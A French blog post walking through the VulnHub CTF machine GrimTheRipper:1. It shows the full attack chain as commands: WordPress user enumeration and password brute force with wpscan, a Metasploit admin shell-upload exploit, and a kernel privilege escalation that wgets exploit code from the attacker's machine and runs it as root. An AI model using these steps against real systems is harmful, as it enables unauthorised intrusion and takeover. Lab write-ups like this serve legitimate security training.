GrimTheRipper: 1 ~ VulnHub

Bertrand #ProHacktive.io
ProHacktive
Published in
4 min readMar 16, 2021

Aujourd’hui on s’attaque à la VM GrimTheRipper : 1 disponible sur le site vulnhub.com :

https://www.vulnhub.com/entry/grimtheripper-1,350/

C’est un CTF de niveau « Intermediate » et on nous indique qu’il faut atteindre le compte root.
Pour la partie « Reconnaissance », on va utiliser la box Sherlock que nous développons au sein de ProHacktive. Cela permet de gagner du temps sur le lancement d’un Netdiscover et un Nmap et ça permet de faire remonter les vulnérabilités CVE.

Reconnaissance :

Alors la machine à attaquer se trouve en 192.168.1.74. Vous noterez qu’à ce stade, on a déjà un indicateur de la criticité de la machine que nous attaquons.
L’autre adresse IP (192.168.1.77) correspond à ma machine me servant à attaquer.

Voyons un peu les détails de notre machine : c’est une distrib Ubuntu et la donnée « Constructeur » correspond au fait que la VM tourne sur VirtualBox. On voit qu’il y a deux services qui tournent :

On a les ports 22 (SSH) et 80 (HTTP) qui sont ouverts avec 30 vulnérabilités qui ont été repérées :

Donc voilà, le décor est planté

Énumération :

Allons voir ce que donne la page web :

Ok, on a juste une image et lorsqu’on regarde le code source, rien de plus. On va essayer de creuser un peu :

dirb http://192.168.1.74/

Le fichier robots.txt nous donne :

disallow:
/index2.html

Et bien allons voir cette url :

Tu as perdu, merdeux ?? What !?!?
On ne se laisse pas distraire et on fouille le code source et on obtient :

<! — THpFd01UQXhNREU9IHRyeSBoYXJk →

Ca sent l’encodage base64 à plein nez :

Ok, on obtient du binaire. On va essayer de le décoder mais sans succès, rien de probant. Le slash qu’il y a devant est une indication, c’est un path :

Et bien voilà, un petit wordpress !

Exploitation :

On commence par chercher un utilisateur pour ce compte :

wpscan — url http://192.168.1.74/1010101/wordpress/ — enumerate u

Ok, on a un compte « admin ». On va opérer une attaque par brute force. Etant donné qu’on attaque à partir d’une VM, la puissance de calcul est faible et si l’on part d’un dictionnaire trop gros, cela va mettre des heures. Je me suis créer mon propre dictionnaire en partant des « common password wordpress ». On obtient notamment cette liste en effectuant une recherche :

https://github.com/danielmiessler/SecLists/blob/master/Passwords/Honeypot-Captures/Sucuri-Top-Wordpress-Passwords.txt

On va extraire une liste de passwords comme ceci :

grep -i “admin” /usr/share/wordlists/rockyou.txt > rockyou.txt
grep -i “password” /usr/share/wordlists/rockyou.txt >> rockyou.txt
grep -i “qwerty” /usr/share/wordlists/rockyou.txt >> rockyou.txt
grep -i “root” /usr/share/wordlists/rockyou.txt >> rockyou.txt

On obtient une liste de 8923 passwords contre 14344392 dans le fichier rockyou.txt d’origine. Let’s go pour le brute force !

wpscan — url http://192.168.1.74/1010101/wordpress/ — usernames admin — passwords rockyou.txt

Ca y est, nous avons de quoi nous connecter :

Username : admin
Password : Password@123

Un wordpress avec les identifiants « admin », go to Metasploit !

use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.1.74
set username admin
set password Password@123
set targeturi /1010101/wordpress/
exploit

Il ne reste plus qu’à ouvrir un shell sur la machine cible :

shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’
uname -a
lsb_release -a

Ah ah ah… Comme le monde est petit. J’ai fait le CTF CyberSploit de VulnHub ce week-end et c’était le même kernel

Escalade de privilèges :

searchsploit kernel 3.13.0
searchsploit -m 37292
python -m SimpleHTTPServer

Voilà, on a récupéré le fichier et on est prêt à le transférer sur la machine cible.

cd /tmp
wget http://192.168.1.77:8000/37292.c
gcc 37292.c -o root
chmod 777 root
./root
id

Voilà, on est root, mission accomplie ! Merci de m’avoir lu et à la prochaine

--

--

Bertrand #ProHacktive.io
ProHacktive

Security Developer chez ProHacktive.io. Strong interest in pentesting and solving CTF (Ethical Hacker).